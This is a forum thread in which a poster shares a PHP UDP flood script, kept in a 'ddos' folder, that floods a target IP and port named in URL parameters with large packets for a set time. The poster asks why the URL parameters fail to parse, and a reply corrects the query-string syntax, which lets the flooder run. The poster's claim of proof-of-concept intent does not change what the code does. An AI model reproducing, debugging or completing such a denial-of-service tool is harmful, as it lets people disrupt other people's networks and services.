cosmic Posted December 4, 2010 Share Posted December 4, 2010 Hey i am having some issues with some code. The values were submitted by a form but i want to change it to its submitted by the URL using $_GET. But doesnt want to work. Can someone please help me? This is just POC code no malicious intentions here. PHP is not my first language. Would appreciate any help. I am using netcat to test this. <?php $packets = 0; $ip = $_GET['ip']; $rand = $_GET['port']; set_time_limit(0); ignore_user_abort(FALSE); $exec_time = $_GET['time']; $time = time(); $max_time = $time+$exec_time; for($i=0;$i<65535;$i++){ $out .= "X"; } while(1){ $packets++; if(time() > $max_time){ break; } $fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5); if($fp){ fwrite($fp, $out); fclose($fp); } } ?> URL Example: http://127.0.0.1/ddos/udp.php?ip=127.0.0.1?port=81?time=10 Error: Warning: fsockopen() [function.fsockopen]: unable to connect to udp://127.0.0.1?port=81?time=1:0 (Failed to parse address "127.0.0.1?port=81?time=1") in C:\xampp\htdocs\ddos\udp.php on line 19 Will not parse the variables properly. Have spent so much time on this. Quote Link to comment Share on other sites More sharing options...
R0bb0b Posted December 4, 2010 Share Posted December 4, 2010 I don't recognize that error but I can say this: the url "http://127.0.0.1/ddos/udp.php?ip=127.0.0.1?port=81?time=10" is not valid. I should look like this http://127.0.0.1/ddos/udp.php?ip=127.0.0.1&port=81&time=10 Quote Link to comment Share on other sites More sharing options...
R0bb0b Posted December 4, 2010 Share Posted December 4, 2010 This also may be a windows socket thing, which I don't use, but I do see something that you also might find useful here http://www.psychostats.com/forums/index.php?showtopic=20761&st=0&p=111863&&do=findComment&comment=111863 Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.